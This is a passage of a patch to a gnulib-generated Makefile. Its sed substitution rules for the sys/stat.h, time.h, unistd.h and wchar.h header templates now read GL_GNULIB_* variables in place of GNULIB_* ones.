+@@ -1638,25 +1754,25 @@ sys/stat.h: sys_stat.in.h $(top_builddir
+ -e 's|@''NEXT_SYS_STAT_H''@|$(NEXT_SYS_STAT_H)|g' \
+ -e 's|@''WINDOWS_64_BIT_ST_SIZE''@|$(WINDOWS_64_BIT_ST_SIZE)|g' \
+ -e 's|@''WINDOWS_STAT_TIMESPEC''@|$(WINDOWS_STAT_TIMESPEC)|g' \
+- -e 's/@''GNULIB_FCHMODAT''@/$(GNULIB_FCHMODAT)/g' \
+- -e 's/@''GNULIB_FSTAT''@/$(GNULIB_FSTAT)/g' \
+- -e 's/@''GNULIB_FSTATAT''@/$(GNULIB_FSTATAT)/g' \
+- -e 's/@''GNULIB_FUTIMENS''@/$(GNULIB_FUTIMENS)/g' \
+- -e 's/@''GNULIB_GETUMASK''@/$(GNULIB_GETUMASK)/g' \
+- -e 's/@''GNULIB_LCHMOD''@/$(GNULIB_LCHMOD)/g' \
+- -e 's/@''GNULIB_LSTAT''@/$(GNULIB_LSTAT)/g' \
+- -e 's/@''GNULIB_MKDIR''@/$(GNULIB_MKDIR)/g' \
+- -e 's/@''GNULIB_MKDIRAT''@/$(GNULIB_MKDIRAT)/g' \
+- -e 's/@''GNULIB_MKFIFO''@/$(GNULIB_MKFIFO)/g' \
+- -e 's/@''GNULIB_MKFIFOAT''@/$(GNULIB_MKFIFOAT)/g' \
+- -e 's/@''GNULIB_MKNOD''@/$(GNULIB_MKNOD)/g' \
+- -e 's/@''GNULIB_MKNODAT''@/$(GNULIB_MKNODAT)/g' \
+- -e 's/@''GNULIB_STAT''@/$(GNULIB_STAT)/g' \
+- -e 's/@''GNULIB_UTIMENSAT''@/$(GNULIB_UTIMENSAT)/g' \
+- -e 's/@''GNULIB_OVERRIDES_STRUCT_STAT''@/$(GNULIB_OVERRIDES_STRUCT_STAT)/g' \
+- -e 's/@''GNULIB_MDA_CHMOD''@/$(GNULIB_MDA_CHMOD)/g' \
+- -e 's/@''GNULIB_MDA_MKDIR''@/$(GNULIB_MDA_MKDIR)/g' \
+- -e 's/@''GNULIB_MDA_UMASK''@/$(GNULIB_MDA_UMASK)/g' \
++ -e 's/@''GNULIB_FCHMODAT''@/$(GL_GNULIB_FCHMODAT)/g' \
++ -e 's/@''GNULIB_FSTAT''@/$(GL_GNULIB_FSTAT)/g' \
++ -e 's/@''GNULIB_FSTATAT''@/$(GL_GNULIB_FSTATAT)/g' \
++ -e 's/@''GNULIB_FUTIMENS''@/$(GL_GNULIB_FUTIMENS)/g' \
++ -e 's/@''GNULIB_GETUMASK''@/$(GL_GNULIB_GETUMASK)/g' \
++ -e 's/@''GNULIB_LCHMOD''@/$(GL_GNULIB_LCHMOD)/g' \
++ -e 's/@''GNULIB_LSTAT''@/$(GL_GNULIB_LSTAT)/g' \
++ -e 's/@''GNULIB_MKDIR''@/$(GL_GNULIB_MKDIR)/g' \
++ -e 's/@''GNULIB_MKDIRAT''@/$(GL_GNULIB_MKDIRAT)/g' \
++ -e 's/@''GNULIB_MKFIFO''@/$(GL_GNULIB_MKFIFO)/g' \
++ -e 's/@''GNULIB_MKFIFOAT''@/$(GL_GNULIB_MKFIFOAT)/g' \
++ -e 's/@''GNULIB_MKNOD''@/$(GL_GNULIB_MKNOD)/g' \
++ -e 's/@''GNULIB_MKNODAT''@/$(GL_GNULIB_MKNODAT)/g' \
++ -e 's/@''GNULIB_STAT''@/$(GL_GNULIB_STAT)/g' \
++ -e 's/@''GNULIB_UTIMENSAT''@/$(GL_GNULIB_UTIMENSAT)/g' \
++ -e 's/@''GNULIB_OVERRIDES_STRUCT_STAT''@/$(GL_GNULIB_OVERRIDES_STRUCT_STAT)/g' \
++ -e 's/@''GNULIB_MDA_CHMOD''@/$(GL_GNULIB_MDA_CHMOD)/g' \
++ -e 's/@''GNULIB_MDA_MKDIR''@/$(GL_GNULIB_MDA_MKDIR)/g' \
++ -e 's/@''GNULIB_MDA_UMASK''@/$(GL_GNULIB_MDA_UMASK)/g' \
+ -e 's|@''HAVE_FCHMODAT''@|$(HAVE_FCHMODAT)|g' \
+ -e 's|@''HAVE_FSTATAT''@|$(HAVE_FSTATAT)|g' \
+ -e 's|@''HAVE_FUTIMENS''@|$(HAVE_FUTIMENS)|g' \
+@@ -1744,18 +1860,18 @@ time.h: time.in.h $(top_builddir)/config
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_TIME_H''@|$(NEXT_TIME_H)|g' \
+- -e 's/@''GNULIB_CTIME''@/$(GNULIB_CTIME)/g' \
+- -e 's/@''GNULIB_LOCALTIME''@/$(GNULIB_LOCALTIME)/g' \
+- -e 's/@''GNULIB_MKTIME''@/$(GNULIB_MKTIME)/g' \
+- -e 's/@''GNULIB_NANOSLEEP''@/$(GNULIB_NANOSLEEP)/g' \
+- -e 's/@''GNULIB_STRFTIME''@/$(GNULIB_STRFTIME)/g' \
+- -e 's/@''GNULIB_STRPTIME''@/$(GNULIB_STRPTIME)/g' \
+- -e 's/@''GNULIB_TIMEGM''@/$(GNULIB_TIMEGM)/g' \
+- -e 's/@''GNULIB_TIMESPEC_GET''@/$(GNULIB_TIMESPEC_GET)/g' \
+- -e 's/@''GNULIB_TIME_R''@/$(GNULIB_TIME_R)/g' \
+- -e 's/@''GNULIB_TIME_RZ''@/$(GNULIB_TIME_RZ)/g' \
+- -e 's/@''GNULIB_TZSET''@/$(GNULIB_TZSET)/g' \
+- -e 's/@''GNULIB_MDA_TZSET''@/$(GNULIB_MDA_TZSET)/g' \
++ -e 's/@''GNULIB_CTIME''@/$(GL_GNULIB_CTIME)/g' \
++ -e 's/@''GNULIB_LOCALTIME''@/$(GL_GNULIB_LOCALTIME)/g' \
++ -e 's/@''GNULIB_MKTIME''@/$(GL_GNULIB_MKTIME)/g' \
++ -e 's/@''GNULIB_NANOSLEEP''@/$(GL_GNULIB_NANOSLEEP)/g' \
++ -e 's/@''GNULIB_STRFTIME''@/$(GL_GNULIB_STRFTIME)/g' \
++ -e 's/@''GNULIB_STRPTIME''@/$(GL_GNULIB_STRPTIME)/g' \
++ -e 's/@''GNULIB_TIMEGM''@/$(GL_GNULIB_TIMEGM)/g' \
++ -e 's/@''GNULIB_TIMESPEC_GET''@/$(GL_GNULIB_TIMESPEC_GET)/g' \
++ -e 's/@''GNULIB_TIME_R''@/$(GL_GNULIB_TIME_R)/g' \
++ -e 's/@''GNULIB_TIME_RZ''@/$(GL_GNULIB_TIME_RZ)/g' \
++ -e 's/@''GNULIB_TZSET''@/$(GL_GNULIB_TZSET)/g' \
++ -e 's/@''GNULIB_MDA_TZSET''@/$(GL_GNULIB_MDA_TZSET)/g' \
+ -e 's|@''HAVE_DECL_LOCALTIME_R''@|$(HAVE_DECL_LOCALTIME_R)|g' \
+ -e 's|@''HAVE_NANOSLEEP''@|$(HAVE_NANOSLEEP)|g' \
+ -e 's|@''HAVE_STRPTIME''@|$(HAVE_STRPTIME)|g' \
+@@ -1806,89 +1922,89 @@ unistd.h: unistd.in.h $(top_builddir)/co
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_UNISTD_H''@|$(NEXT_UNISTD_H)|g' \
+ -e 's|@''WINDOWS_64_BIT_OFF_T''@|$(WINDOWS_64_BIT_OFF_T)|g' \
+- -e 's/@''GNULIB_ACCESS''@/$(GNULIB_ACCESS)/g' \
+- -e 's/@''GNULIB_CHDIR''@/$(GNULIB_CHDIR)/g' \
+- -e 's/@''GNULIB_CHOWN''@/$(GNULIB_CHOWN)/g' \
+- -e 's/@''GNULIB_CLOSE''@/$(GNULIB_CLOSE)/g' \
+- -e 's/@''GNULIB_COPY_FILE_RANGE''@/$(GNULIB_COPY_FILE_RANGE)/g' \
+- -e 's/@''GNULIB_DUP''@/$(GNULIB_DUP)/g' \
+- -e 's/@''GNULIB_DUP2''@/$(GNULIB_DUP2)/g' \
+- -e 's/@''GNULIB_DUP3''@/$(GNULIB_DUP3)/g' \
+- -e 's/@''GNULIB_ENVIRON''@/$(GNULIB_ENVIRON)/g' \
+- -e 's/@''GNULIB_EUIDACCESS''@/$(GNULIB_EUIDACCESS)/g' \
+- -e 's/@''GNULIB_EXECL''@/$(GNULIB_EXECL)/g' \
+- -e 's/@''GNULIB_EXECLE''@/$(GNULIB_EXECLE)/g' \
+- -e 's/@''GNULIB_EXECLP''@/$(GNULIB_EXECLP)/g' \
+- -e 's/@''GNULIB_EXECV''@/$(GNULIB_EXECV)/g' \
+- -e 's/@''GNULIB_EXECVE''@/$(GNULIB_EXECVE)/g' \
+- -e 's/@''GNULIB_EXECVP''@/$(GNULIB_EXECVP)/g' \
+- -e 's/@''GNULIB_EXECVPE''@/$(GNULIB_EXECVPE)/g' \
+- -e 's/@''GNULIB_FACCESSAT''@/$(GNULIB_FACCESSAT)/g' \
+- -e 's/@''GNULIB_FCHDIR''@/$(GNULIB_FCHDIR)/g' \
+- -e 's/@''GNULIB_FCHOWNAT''@/$(GNULIB_FCHOWNAT)/g' \
+- -e 's/@''GNULIB_FDATASYNC''@/$(GNULIB_FDATASYNC)/g' \
+- -e 's/@''GNULIB_FSYNC''@/$(GNULIB_FSYNC)/g' \
+- -e 's/@''GNULIB_FTRUNCATE''@/$(GNULIB_FTRUNCATE)/g' \
+- -e 's/@''GNULIB_GETCWD''@/$(GNULIB_GETCWD)/g' \
+- -e 's/@''GNULIB_GETDOMAINNAME''@/$(GNULIB_GETDOMAINNAME)/g' \
+- -e 's/@''GNULIB_GETDTABLESIZE''@/$(GNULIB_GETDTABLESIZE)/g' \
+- -e 's/@''GNULIB_GETENTROPY''@/$(GNULIB_GETENTROPY)/g' \
+- -e 's/@''GNULIB_GETGROUPS''@/$(GNULIB_GETGROUPS)/g' \
+- -e 's/@''GNULIB_GETHOSTNAME''@/$(GNULIB_GETHOSTNAME)/g' \
+- -e 's/@''GNULIB_GETLOGIN''@/$(GNULIB_GETLOGIN)/g' \
+- -e 's/@''GNULIB_GETLOGIN_R''@/$(GNULIB_GETLOGIN_R)/g' \
+- -e 's/@''GNULIB_GETOPT_POSIX''@/$(GNULIB_GETOPT_POSIX)/g' \
+- -e 's/@''GNULIB_GETPAGESIZE''@/$(GNULIB_GETPAGESIZE)/g' \
+- -e 's/@''GNULIB_GETPASS''@/$(GNULIB_GETPASS)/g' \
+- -e 's/@''GNULIB_GETUSERSHELL''@/$(GNULIB_GETUSERSHELL)/g' \
+- -e 's/@''GNULIB_GROUP_MEMBER''@/$(GNULIB_GROUP_MEMBER)/g' \
+- -e 's/@''GNULIB_ISATTY''@/$(GNULIB_ISATTY)/g' \
+- -e 's/@''GNULIB_LCHOWN''@/$(GNULIB_LCHOWN)/g' \
+- -e 's/@''GNULIB_LINK''@/$(GNULIB_LINK)/g' \
+- -e 's/@''GNULIB_LINKAT''@/$(GNULIB_LINKAT)/g' \
+- -e 's/@''GNULIB_LSEEK''@/$(GNULIB_LSEEK)/g' \
+- -e 's/@''GNULIB_PIPE''@/$(GNULIB_PIPE)/g' \
+- -e 's/@''GNULIB_PIPE2''@/$(GNULIB_PIPE2)/g' \
+- -e 's/@''GNULIB_PREAD''@/$(GNULIB_PREAD)/g' \
+- -e 's/@''GNULIB_PWRITE''@/$(GNULIB_PWRITE)/g' \
+- -e 's/@''GNULIB_READ''@/$(GNULIB_READ)/g' \
+- -e 's/@''GNULIB_READLINK''@/$(GNULIB_READLINK)/g' \
+- -e 's/@''GNULIB_READLINKAT''@/$(GNULIB_READLINKAT)/g' \
+- -e 's/@''GNULIB_RMDIR''@/$(GNULIB_RMDIR)/g' \
+- -e 's/@''GNULIB_SETHOSTNAME''@/$(GNULIB_SETHOSTNAME)/g' \
+- -e 's/@''GNULIB_SLEEP''@/$(GNULIB_SLEEP)/g' \
+- -e 's/@''GNULIB_SYMLINK''@/$(GNULIB_SYMLINK)/g' \
+- -e 's/@''GNULIB_SYMLINKAT''@/$(GNULIB_SYMLINKAT)/g' \
+- -e 's/@''GNULIB_TRUNCATE''@/$(GNULIB_TRUNCATE)/g' \
+- -e 's/@''GNULIB_TTYNAME_R''@/$(GNULIB_TTYNAME_R)/g' \
+- -e 's/@''GNULIB_UNISTD_H_GETOPT''@/0$(GNULIB_GL_UNISTD_H_GETOPT)/g' \
+- -e 's/@''GNULIB_UNISTD_H_NONBLOCKING''@/$(GNULIB_UNISTD_H_NONBLOCKING)/g' \
+- -e 's/@''GNULIB_UNISTD_H_SIGPIPE''@/$(GNULIB_UNISTD_H_SIGPIPE)/g' \
+- -e 's/@''GNULIB_UNLINK''@/$(GNULIB_UNLINK)/g' \
+- -e 's/@''GNULIB_UNLINKAT''@/$(GNULIB_UNLINKAT)/g' \
+- -e 's/@''GNULIB_USLEEP''@/$(GNULIB_USLEEP)/g' \
+- -e 's/@''GNULIB_WRITE''@/$(GNULIB_WRITE)/g' \
+- -e 's/@''GNULIB_MDA_ACCESS''@/$(GNULIB_MDA_ACCESS)/g' \
+- -e 's/@''GNULIB_MDA_CHDIR''@/$(GNULIB_MDA_CHDIR)/g' \
+- -e 's/@''GNULIB_MDA_CLOSE''@/$(GNULIB_MDA_CLOSE)/g' \
+- -e 's/@''GNULIB_MDA_DUP''@/$(GNULIB_MDA_DUP)/g' \
+- -e 's/@''GNULIB_MDA_DUP2''@/$(GNULIB_MDA_DUP2)/g' \
+- -e 's/@''GNULIB_MDA_EXECL''@/$(GNULIB_MDA_EXECL)/g' \
+- -e 's/@''GNULIB_MDA_EXECLE''@/$(GNULIB_MDA_EXECLE)/g' \
+- -e 's/@''GNULIB_MDA_EXECLP''@/$(GNULIB_MDA_EXECLP)/g' \
+- -e 's/@''GNULIB_MDA_EXECV''@/$(GNULIB_MDA_EXECV)/g' \
+- -e 's/@''GNULIB_MDA_EXECVE''@/$(GNULIB_MDA_EXECVE)/g' \
+- -e 's/@''GNULIB_MDA_EXECVP''@/$(GNULIB_MDA_EXECVP)/g' \
+- -e 's/@''GNULIB_MDA_EXECVPE''@/$(GNULIB_MDA_EXECVPE)/g' \
+- -e 's/@''GNULIB_MDA_GETCWD''@/$(GNULIB_MDA_GETCWD)/g' \
+- -e 's/@''GNULIB_MDA_GETPID''@/$(GNULIB_MDA_GETPID)/g' \
+- -e 's/@''GNULIB_MDA_ISATTY''@/$(GNULIB_MDA_ISATTY)/g' \
+- -e 's/@''GNULIB_MDA_LSEEK''@/$(GNULIB_MDA_LSEEK)/g' \
+- -e 's/@''GNULIB_MDA_READ''@/$(GNULIB_MDA_READ)/g' \
+- -e 's/@''GNULIB_MDA_RMDIR''@/$(GNULIB_MDA_RMDIR)/g' \
+- -e 's/@''GNULIB_MDA_SWAB''@/$(GNULIB_MDA_SWAB)/g' \
+- -e 's/@''GNULIB_MDA_UNLINK''@/$(GNULIB_MDA_UNLINK)/g' \
+- -e 's/@''GNULIB_MDA_WRITE''@/$(GNULIB_MDA_WRITE)/g' \
++ -e 's/@''GNULIB_ACCESS''@/$(GL_GNULIB_ACCESS)/g' \
++ -e 's/@''GNULIB_CHDIR''@/$(GL_GNULIB_CHDIR)/g' \
++ -e 's/@''GNULIB_CHOWN''@/$(GL_GNULIB_CHOWN)/g' \
++ -e 's/@''GNULIB_CLOSE''@/$(GL_GNULIB_CLOSE)/g' \
++ -e 's/@''GNULIB_COPY_FILE_RANGE''@/$(GL_GNULIB_COPY_FILE_RANGE)/g' \
++ -e 's/@''GNULIB_DUP''@/$(GL_GNULIB_DUP)/g' \
++ -e 's/@''GNULIB_DUP2''@/$(GL_GNULIB_DUP2)/g' \
++ -e 's/@''GNULIB_DUP3''@/$(GL_GNULIB_DUP3)/g' \
++ -e 's/@''GNULIB_ENVIRON''@/$(GL_GNULIB_ENVIRON)/g' \
++ -e 's/@''GNULIB_EUIDACCESS''@/$(GL_GNULIB_EUIDACCESS)/g' \
++ -e 's/@''GNULIB_EXECL''@/$(GL_GNULIB_EXECL)/g' \
++ -e 's/@''GNULIB_EXECLE''@/$(GL_GNULIB_EXECLE)/g' \
++ -e 's/@''GNULIB_EXECLP''@/$(GL_GNULIB_EXECLP)/g' \
++ -e 's/@''GNULIB_EXECV''@/$(GL_GNULIB_EXECV)/g' \
++ -e 's/@''GNULIB_EXECVE''@/$(GL_GNULIB_EXECVE)/g' \
++ -e 's/@''GNULIB_EXECVP''@/$(GL_GNULIB_EXECVP)/g' \
++ -e 's/@''GNULIB_EXECVPE''@/$(GL_GNULIB_EXECVPE)/g' \
++ -e 's/@''GNULIB_FACCESSAT''@/$(GL_GNULIB_FACCESSAT)/g' \
++ -e 's/@''GNULIB_FCHDIR''@/$(GL_GNULIB_FCHDIR)/g' \
++ -e 's/@''GNULIB_FCHOWNAT''@/$(GL_GNULIB_FCHOWNAT)/g' \
++ -e 's/@''GNULIB_FDATASYNC''@/$(GL_GNULIB_FDATASYNC)/g' \
++ -e 's/@''GNULIB_FSYNC''@/$(GL_GNULIB_FSYNC)/g' \
++ -e 's/@''GNULIB_FTRUNCATE''@/$(GL_GNULIB_FTRUNCATE)/g' \
++ -e 's/@''GNULIB_GETCWD''@/$(GL_GNULIB_GETCWD)/g' \
++ -e 's/@''GNULIB_GETDOMAINNAME''@/$(GL_GNULIB_GETDOMAINNAME)/g' \
++ -e 's/@''GNULIB_GETDTABLESIZE''@/$(GL_GNULIB_GETDTABLESIZE)/g' \
++ -e 's/@''GNULIB_GETENTROPY''@/$(GL_GNULIB_GETENTROPY)/g' \
++ -e 's/@''GNULIB_GETGROUPS''@/$(GL_GNULIB_GETGROUPS)/g' \
++ -e 's/@''GNULIB_GETHOSTNAME''@/$(GL_GNULIB_GETHOSTNAME)/g' \
++ -e 's/@''GNULIB_GETLOGIN''@/$(GL_GNULIB_GETLOGIN)/g' \
++ -e 's/@''GNULIB_GETLOGIN_R''@/$(GL_GNULIB_GETLOGIN_R)/g' \
++ -e 's/@''GNULIB_GETOPT_POSIX''@/$(GL_GNULIB_GETOPT_POSIX)/g' \
++ -e 's/@''GNULIB_GETPAGESIZE''@/$(GL_GNULIB_GETPAGESIZE)/g' \
++ -e 's/@''GNULIB_GETPASS''@/$(GL_GNULIB_GETPASS)/g' \
++ -e 's/@''GNULIB_GETUSERSHELL''@/$(GL_GNULIB_GETUSERSHELL)/g' \
++ -e 's/@''GNULIB_GROUP_MEMBER''@/$(GL_GNULIB_GROUP_MEMBER)/g' \
++ -e 's/@''GNULIB_ISATTY''@/$(GL_GNULIB_ISATTY)/g' \
++ -e 's/@''GNULIB_LCHOWN''@/$(GL_GNULIB_LCHOWN)/g' \
++ -e 's/@''GNULIB_LINK''@/$(GL_GNULIB_LINK)/g' \
++ -e 's/@''GNULIB_LINKAT''@/$(GL_GNULIB_LINKAT)/g' \
++ -e 's/@''GNULIB_LSEEK''@/$(GL_GNULIB_LSEEK)/g' \
++ -e 's/@''GNULIB_PIPE''@/$(GL_GNULIB_PIPE)/g' \
++ -e 's/@''GNULIB_PIPE2''@/$(GL_GNULIB_PIPE2)/g' \
++ -e 's/@''GNULIB_PREAD''@/$(GL_GNULIB_PREAD)/g' \
++ -e 's/@''GNULIB_PWRITE''@/$(GL_GNULIB_PWRITE)/g' \
++ -e 's/@''GNULIB_READ''@/$(GL_GNULIB_READ)/g' \
++ -e 's/@''GNULIB_READLINK''@/$(GL_GNULIB_READLINK)/g' \
++ -e 's/@''GNULIB_READLINKAT''@/$(GL_GNULIB_READLINKAT)/g' \
++ -e 's/@''GNULIB_RMDIR''@/$(GL_GNULIB_RMDIR)/g' \
++ -e 's/@''GNULIB_SETHOSTNAME''@/$(GL_GNULIB_SETHOSTNAME)/g' \
++ -e 's/@''GNULIB_SLEEP''@/$(GL_GNULIB_SLEEP)/g' \
++ -e 's/@''GNULIB_SYMLINK''@/$(GL_GNULIB_SYMLINK)/g' \
++ -e 's/@''GNULIB_SYMLINKAT''@/$(GL_GNULIB_SYMLINKAT)/g' \
++ -e 's/@''GNULIB_TRUNCATE''@/$(GL_GNULIB_TRUNCATE)/g' \
++ -e 's/@''GNULIB_TTYNAME_R''@/$(GL_GNULIB_TTYNAME_R)/g' \
++ -e 's/@''GNULIB_UNISTD_H_GETOPT''@/0$(GL_GNULIB_UNISTD_H_GETOPT)/g' \
++ -e 's/@''GNULIB_UNISTD_H_NONBLOCKING''@/$(GL_GNULIB_UNISTD_H_NONBLOCKING)/g' \
++ -e 's/@''GNULIB_UNISTD_H_SIGPIPE''@/$(GL_GNULIB_UNISTD_H_SIGPIPE)/g' \
++ -e 's/@''GNULIB_UNLINK''@/$(GL_GNULIB_UNLINK)/g' \
++ -e 's/@''GNULIB_UNLINKAT''@/$(GL_GNULIB_UNLINKAT)/g' \
++ -e 's/@''GNULIB_USLEEP''@/$(GL_GNULIB_USLEEP)/g' \
++ -e 's/@''GNULIB_WRITE''@/$(GL_GNULIB_WRITE)/g' \
++ -e 's/@''GNULIB_MDA_ACCESS''@/$(GL_GNULIB_MDA_ACCESS)/g' \
++ -e 's/@''GNULIB_MDA_CHDIR''@/$(GL_GNULIB_MDA_CHDIR)/g' \
++ -e 's/@''GNULIB_MDA_CLOSE''@/$(GL_GNULIB_MDA_CLOSE)/g' \
++ -e 's/@''GNULIB_MDA_DUP''@/$(GL_GNULIB_MDA_DUP)/g' \
++ -e 's/@''GNULIB_MDA_DUP2''@/$(GL_GNULIB_MDA_DUP2)/g' \
++ -e 's/@''GNULIB_MDA_EXECL''@/$(GL_GNULIB_MDA_EXECL)/g' \
++ -e 's/@''GNULIB_MDA_EXECLE''@/$(GL_GNULIB_MDA_EXECLE)/g' \
++ -e 's/@''GNULIB_MDA_EXECLP''@/$(GL_GNULIB_MDA_EXECLP)/g' \
++ -e 's/@''GNULIB_MDA_EXECV''@/$(GL_GNULIB_MDA_EXECV)/g' \
++ -e 's/@''GNULIB_MDA_EXECVE''@/$(GL_GNULIB_MDA_EXECVE)/g' \
++ -e 's/@''GNULIB_MDA_EXECVP''@/$(GL_GNULIB_MDA_EXECVP)/g' \
++ -e 's/@''GNULIB_MDA_EXECVPE''@/$(GL_GNULIB_MDA_EXECVPE)/g' \
++ -e 's/@''GNULIB_MDA_GETCWD''@/$(GL_GNULIB_MDA_GETCWD)/g' \
++ -e 's/@''GNULIB_MDA_GETPID''@/$(GL_GNULIB_MDA_GETPID)/g' \
++ -e 's/@''GNULIB_MDA_ISATTY''@/$(GL_GNULIB_MDA_ISATTY)/g' \
++ -e 's/@''GNULIB_MDA_LSEEK''@/$(GL_GNULIB_MDA_LSEEK)/g' \
++ -e 's/@''GNULIB_MDA_READ''@/$(GL_GNULIB_MDA_READ)/g' \
++ -e 's/@''GNULIB_MDA_RMDIR''@/$(GL_GNULIB_MDA_RMDIR)/g' \
++ -e 's/@''GNULIB_MDA_SWAB''@/$(GL_GNULIB_MDA_SWAB)/g' \
++ -e 's/@''GNULIB_MDA_UNLINK''@/$(GL_GNULIB_MDA_UNLINK)/g' \
++ -e 's/@''GNULIB_MDA_WRITE''@/$(GL_GNULIB_MDA_WRITE)/g' \
+ < $(srcdir)/unistd.in.h | \
+ sed -e 's|@''HAVE_CHOWN''@|$(HAVE_CHOWN)|g' \
+ -e 's|@''HAVE_COPY_FILE_RANGE''@|$(HAVE_COPY_FILE_RANGE)|g' \
+@@ -2080,49 +2196,49 @@ wchar.h: wchar.in.h $(top_builddir)/conf
+ -e 's|@''NEXT_WCHAR_H''@|$(NEXT_WCHAR_H)|g' \
+ -e 's|@''HAVE_WCHAR_H''@|$(HAVE_WCHAR_H)|g' \
+ -e 's/@''HAVE_CRTDEFS_H''@/$(HAVE_CRTDEFS_H)/g' \
+- -e 's/@''GNULIB_OVERRIDES_WINT_T''@/$(GNULIB_OVERRIDES_WINT_T)/g' \
+- -e 's/@''GNULIB_BTOWC''@/$(GNULIB_BTOWC)/g' \
+- -e 's/@''GNULIB_WCTOB''@/$(GNULIB_WCTOB)/g' \
+- -e 's/@''GNULIB_MBSINIT''@/$(GNULIB_MBSINIT)/g' \
+- -e 's/@''GNULIB_MBRTOWC''@/$(GNULIB_MBRTOWC)/g' \
+- -e 's/@''GNULIB_MBRLEN''@/$(GNULIB_MBRLEN)/g' \
+- -e 's/@''GNULIB_MBSRTOWCS''@/$(GNULIB_MBSRTOWCS)/g' \
+- -e 's/@''GNULIB_MBSNRTOWCS''@/$(GNULIB_MBSNRTOWCS)/g' \
+- -e 's/@''GNULIB_WCRTOMB''@/$(GNULIB_WCRTOMB)/g' \
+- -e 's/@''GNULIB_WCSRTOMBS''@/$(GNULIB_WCSRTOMBS)/g' \
+- -e 's/@''GNULIB_WCSNRTOMBS''@/$(GNULIB_WCSNRTOMBS)/g' \
+- -e 's/@''GNULIB_WCWIDTH''@/$(GNULIB_WCWIDTH)/g' \
+- -e 's/@''GNULIB_WMEMCHR''@/$(GNULIB_WMEMCHR)/g' \
+- -e 's/@''GNULIB_WMEMCMP''@/$(GNULIB_WMEMCMP)/g' \
+- -e 's/@''GNULIB_WMEMCPY''@/$(GNULIB_WMEMCPY)/g' \
+- -e 's/@''GNULIB_WMEMMOVE''@/$(GNULIB_WMEMMOVE)/g' \
+- -e 's/@''GNULIB_WMEMPCPY''@/$(GNULIB_WMEMPCPY)/g' \
+- -e 's/@''GNULIB_WMEMSET''@/$(GNULIB_WMEMSET)/g' \
+- -e 's/@''GNULIB_WCSLEN''@/$(GNULIB_WCSLEN)/g' \
+- -e 's/@''GNULIB_WCSNLEN''@/$(GNULIB_WCSNLEN)/g' \
+- -e 's/@''GNULIB_WCSCPY''@/$(GNULIB_WCSCPY)/g' \
+- -e 's/@''GNULIB_WCPCPY''@/$(GNULIB_WCPCPY)/g' \
+- -e 's/@''GNULIB_WCSNCPY''@/$(GNULIB_WCSNCPY)/g' \
+- -e 's/@''GNULIB_WCPNCPY''@/$(GNULIB_WCPNCPY)/g' \
+- -e 's/@''GNULIB_WCSCAT''@/$(GNULIB_WCSCAT)/g' \
+- -e 's/@''GNULIB_WCSNCAT''@/$(GNULIB_WCSNCAT)/g' \
+- -e 's/@''GNULIB_WCSCMP''@/$(GNULIB_WCSCMP)/g' \
+- -e 's/@''GNULIB_WCSNCMP''@/$(GNULIB_WCSNCMP)/g' \
+- -e 's/@''GNULIB_WCSCASECMP''@/$(GNULIB_WCSCASECMP)/g' \
+- -e 's/@''GNULIB_WCSNCASECMP''@/$(GNULIB_WCSNCASECMP)/g' \
+- -e 's/@''GNULIB_WCSCOLL''@/$(GNULIB_WCSCOLL)/g' \
+- -e 's/@''GNULIB_WCSXFRM''@/$(GNULIB_WCSXFRM)/g' \
+- -e 's/@''GNULIB_WCSDUP''@/$(GNULIB_WCSDUP)/g' \
+- -e 's/@''GNULIB_WCSCHR''@/$(GNULIB_WCSCHR)/g' \
+- -e 's/@''GNULIB_WCSRCHR''@/$(GNULIB_WCSRCHR)/g' \
+- -e 's/@''GNULIB_WCSCSPN''@/$(GNULIB_WCSCSPN)/g' \
+- -e 's/@''GNULIB_WCSSPN''@/$(GNULIB_WCSSPN)/g' \
+- -e 's/@''GNULIB_WCSPBRK''@/$(GNULIB_WCSPBRK)/g' \
+- -e 's/@''GNULIB_WCSSTR''@/$(GNULIB_WCSSTR)/g' \
+- -e 's/@''GNULIB_WCSTOK''@/$(GNULIB_WCSTOK)/g' \
+- -e 's/@''GNULIB_WCSWIDTH''@/$(GNULIB_WCSWIDTH)/g' \
+- -e 's/@''GNULIB_WCSFTIME''@/$(GNULIB_WCSFTIME)/g' \
+- -e 's/@''GNULIB_MDA_WCSDUP''@/$(GNULIB_MDA_WCSDUP)/g' \
++ -e 's/@''GNULIBHEADERS_OVERRIDE_WINT_T''@/$(GNULIBHEADERS_OVERRIDE_WINT_T)/g' \
++ -e 's/@''GNULIB_BTOWC''@/$(GL_GNULIB_BTOWC)/g' \
++ -e 's/@''GNULIB_WCTOB''@/$(GL_GNULIB_WCTOB)/g' \
++ -e 's/@''GNULIB_MBSINIT''@/$(GL_GNULIB_MBSINIT)/g' \
++ -e 's/@''GNULIB_MBRTOWC''@/$(GL_GNULIB_MBRTOWC)/g' \
++ -e 's/@''GNULIB_MBRLEN''@/$(GL_GNULIB_MBRLEN)/g' \
++ -e 's/@''GNULIB_MBSRTOWCS''@/$(GL_GNULIB_MBSRTOWCS)/g' \
++ -e 's/@''GNULIB_MBSNRTOWCS''@/$(GL_GNULIB_MBSNRTOWCS)/g' \
++ -e 's/@''GNULIB_WCRTOMB''@/$(GL_GNULIB_WCRTOMB)/g' \
++ -e 's/@''GNULIB_WCSRTOMBS''@/$(GL_GNULIB_WCSRTOMBS)/g' \
++ -e 's/@''GNULIB_WCSNRTOMBS''@/$(GL_GNULIB_WCSNRTOMBS)/g' \
++ -e 's/@''GNULIB_WCWIDTH''@/$(GL_GNULIB_WCWIDTH)/g' \
++ -e 's/@''GNULIB_WMEMCHR''@/$(GL_GNULIB_WMEMCHR)/g' \
++ -e 's/@''GNULIB_WMEMCMP''@/$(GL_GNULIB_WMEMCMP)/g' \
++ -e 's/@''GNULIB_WMEMCPY''@/$(GL_GNULIB_WMEMCPY)/g' \
++ -e 's/@''GNULIB_WMEMMOVE''@/$(GL_GNULIB_WMEMMOVE)/g' \
++ -e 's/@''GNULIB_WMEMPCPY''@/$(GL_GNULIB_WMEMPCPY)/g' \
++ -e 's/@''GNULIB_WMEMSET''@/$(GL_GNULIB_WMEMSET)/g' \
++ -e 's/@''GNULIB_WCSLEN''@/$(GL_GNULIB_WCSLEN)/g' \
++ -e 's/@''GNULIB_WCSNLEN''@/$(GL_GNULIB_WCSNLEN)/g' \
